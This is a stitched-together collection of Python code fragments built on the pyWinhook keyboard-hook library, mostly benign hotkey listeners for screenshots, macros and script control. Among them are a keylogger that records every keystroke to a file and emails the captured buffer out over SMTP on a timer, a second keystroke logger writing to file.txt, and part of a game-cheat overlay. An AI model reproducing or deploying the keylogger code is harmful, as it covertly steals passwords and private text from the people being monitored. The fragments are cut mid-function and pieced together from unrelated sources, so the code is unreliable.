def restart(self): lock.acquire() self.hm = HookManager() self.hm.KeyDown = self.press self.hm.KeyUp = self.release self.hm.HookKeyboard() lock.release()
class Keystroke_Watcher(object): def __init__(self): self.hm = HookManager() self.hm.KeyDown = self.on_keyboard_event self.hm.HookKeyboard() def on_keyboard_event(self, event): #print('KeyID:', event.KeyID) #This will display the key ID for all keyboard inputs try: if event.KeyID == 103: self.take_DBD_screenshot() if event.KeyID == 104: win32gui.EnumWindows(winEnumHandler, None) finally: return True def take_DBD_screenshot(self): window_name = "DeadByDaylight " print('Taking DBD Screenshot...') output_name = "DBD_" + str(len(glob.glob('DBD_*')) + 1) get_bitmap(window_name, output_name) def shutdown(self): win32gui.PostQuitMessage(0) self.hm.UnhookKeyboard()
class Keystroke_Watcher(object): def __init__(self): self.hm = HookManager() self.hm.KeyDown = self.on_keyboard_event self.hm.HookKeyboard() def on_keyboard_event(self, event): try: if event.KeyID == 75: #k self.stop_script() finally: return True def stop_script(self): logger.plog(f"Exiting script...") os.system("taskkill /IM python.exe /f") # lol bruteforce def shutdown(self): win32gui.PostQuitMessage(0) self.hm.UnhookKeyboard()
def __init__(self): self.hm = HookManager() self.hm.KeyDown = self.on_keyboard_event self.hm.HookKeyboard()
class KeyListener(threading.Thread): def __init__(self): threading.Thread.__init__(self) self.finished = threading.Event() # Variables must be initialized before calling 'HookManager' self.pressed = [] self.listeners = {} self.status = 0 ''' Sometimes symbols are uppercased by an unknown reason, however, we lowercase them, therefore it is sufficient to have 'c' here. ''' self.addKeyListener('Lcontrol+c+c', lambda: keylistener.set_status(status=1)) self.addKeyListener('Rcontrol+c+c', lambda: keylistener.set_status(status=1)) self.addKeyListener('Lcontrol+Insert+Insert', lambda: keylistener.set_status(status=1)) self.addKeyListener('Rcontrol+Insert+Insert', lambda: keylistener.set_status(status=1)) self.addKeyListener('Lmenu+Oem_3', lambda: keylistener.set_status(status=2)) self.addKeyListener('Rmenu+Oem_3', lambda: keylistener.set_status(status=2)) self.restart() def cancel(self): self.hm.UnhookKeyboard() self.finished.set() def restart(self): lock.acquire() self.hm = HookManager() self.hm.KeyDown = self.press self.hm.KeyUp = self.release self.hm.HookKeyboard() lock.release() def press(self, event): character = str(event.Key) if character: if len(character) == 1: character = character.lower() print_v('Key released: {}'.format(character)) if len(self.pressed) == 2: if self.pressed[1] == 'Oem_3': self.pressed = [] elif len(self.pressed) == 3: self.pressed = [] if character in ('Lcontrol', 'Rcontrol', 'Lmenu', 'Rmenu'): self.pressed = [character] elif character in ('c', 'C', 'Insert', 'Oem_3'): if len(self.pressed) > 0: if self.pressed[0] in ('Lcontrol', 'Rcontrol', 'Lmenu', 'Rmenu'): self.pressed.append(character) action = self.listeners.get(tuple(self.pressed), False) print_v('Current action: {}'.format(self.pressed)) if action: action() # We receive an error without this (an integer is required) return True def release(self, event): """must be called whenever a key release event has occurred.""" character = str(event.Key) if character: if len(character) == 1: character = character.lower() print_v('Key released: %s' % str(character)) # A released Control key is not taken into account # A cyrillic 'с' symbol is recognized as Latin 'c' if not character in ('c', 'C', 'Insert', 'Oem_3'): self.pressed = [] # We receive an error without this (an integer is required) return True def addKeyListener(self, hotkeys, callable): keys = tuple(hotkeys.split('+')) print_v('Added new keylistener for: {}'.format(keys)) self.listeners[keys] = callable def set_status(self, status=0): self.status = status print_v('Setting status to {}!'.format(self.status)) # Returns 0..2 def check(self): if self.status: print_v('Hotkey has been caught!') status = self.status self.status = 0 return status
if isDWMCompositionEnabled(): if overlayInit(overlayObj): WndProc = WNDPROCTYPE(PyWndProcedure) if overlayCreateClass(WndProc, "overlay", hModule, overlayObj): if overlayCreateWindow(overlayObj, hModule): if directxInit(overlayObj, directxObj): print("[+] Thread created!") while True: if ctypes.windll.user32.PeekMessageW( ctypes.byref(overlayObj.Message), overlayObj.Window, 0, 0, win32con.PM_REMOVE): ctypes.windll.user32.DispatchMessageW( ctypes.byref(overlayObj.Message)) ctypes.windll.user32.TranslateMessage( ctypes.byref(overlayObj.Message)) time.sleep(1) overlayInit(overlayObj) threadHandle = ctypes.windll.kernel32.CreateThread(0, 0, threadProc, 0, 0, 0) # print(threadHandle) print(f"[+] Base address for {moduleName} is {hex(base)}.") hm = HookManager() hm.KeyDown = cheatDispatcher hm.HookKeyboard() print("[+] Hooked to keyboard successfully!") pythoncom.PumpMessages()
dllpath = pathJoin(pyWinhookFile, "..", "..", "pywin32_system32") print("\n", ext) print(" DLL dosyaları koypalanmalı!") print() print(" DLL dosyalarının dizini: ") print(f" {dllpath}") print() print(" Kopyalanacağı dizin:") print(" C:\\Windows\\System32") quit() def OnKeyboardEvent(event): yShortcutHandler.handleShortcutPressed(event) yLogger.regData(event) yLogger.logOnReach(KEY_LIMIT) return True def pumpMessage(): init() while True: pump() yDebugger.setLogLvl(2) hooks_manager = HookManager() hooks_manager.KeyDown = OnKeyboardEvent hooks_manager.HookKeyboard() pumpMessage()
server.ehlo() server.login("email", "passw") server.sendmail("email", "email", buff) server.close() return def spy(event): global counter, buffer, gate if datetime.now().minute == 7 and gate != True: t = ThreadPoolExecutor(max_workers=3) t.submit(sender, buffer) t.shutdown() gate = True file = open(filepath, "a", encoding="UTF-8") if (event.GetKey() not in ("Lshift", "LMenu")) and counter % 2 != 0: file.write(chr(event.Ascii)) buffer += chr(event.Ascii) elif event.GetKey() == "Return" and counter % 2 != 0: file.write("\n") counter += 1 file.flush() file.close() return True hook = HookManager() hook.HookKeyboard() hook.HookMouse() hook.KeyAll = spy pythoncom.PumpMessages()
myScript_8 = MyScript('八连休', Script_8, 0) k.registerScript('8', myScript_8) myScript_af = MyScript('autofes', Script_af, 5) k.registerScript('5', myScript_af) # todo:装载的脚本说明 k.registerEvent('Space', clickHere) k.registerEvent('0', stopScript) k.registerEvent('Oem_3', setWindow) # todo: 暂停和关闭的优先级要提高.. # k.registerEvent('Escape', exitProgram) # k.registerEvent('Tab', pauseProgram) # create the hook mananger hm = HookManager() hm.KeyDown = OnKeyboardEvent # hook into the mouse and keyboard events hm.HookKeyboard() # register two callbacks # hm.MouseAllButtonsDown = OnMouseEvent # hm.HookMouse() from pythoncom import PumpMessages PumpMessages() except Exception as e: # raise e print(e)
def onMouse(event): print("Pozycja Myszy: ", event.Position) print("Weel:", event.Wheel) print("------------") return True def spy(event): file = open("file.txt", "a", encoding="UTF-8") if event.GetKey() not in ("Lshift", "LMenu"): file.write(chr(event.Ascii)) elif event.GetKey() == "Return": file.write("\n") file.flush() file.close() return True def tester(event): print(event.GetKey()) return True hook = HookManager() hook.HookKeyboard() hook.HookMouse() hook.KeyAll = onAllKeys hook.MouseAll = onMouse #hook.KeyAll = spy pythoncom.PumpMessages()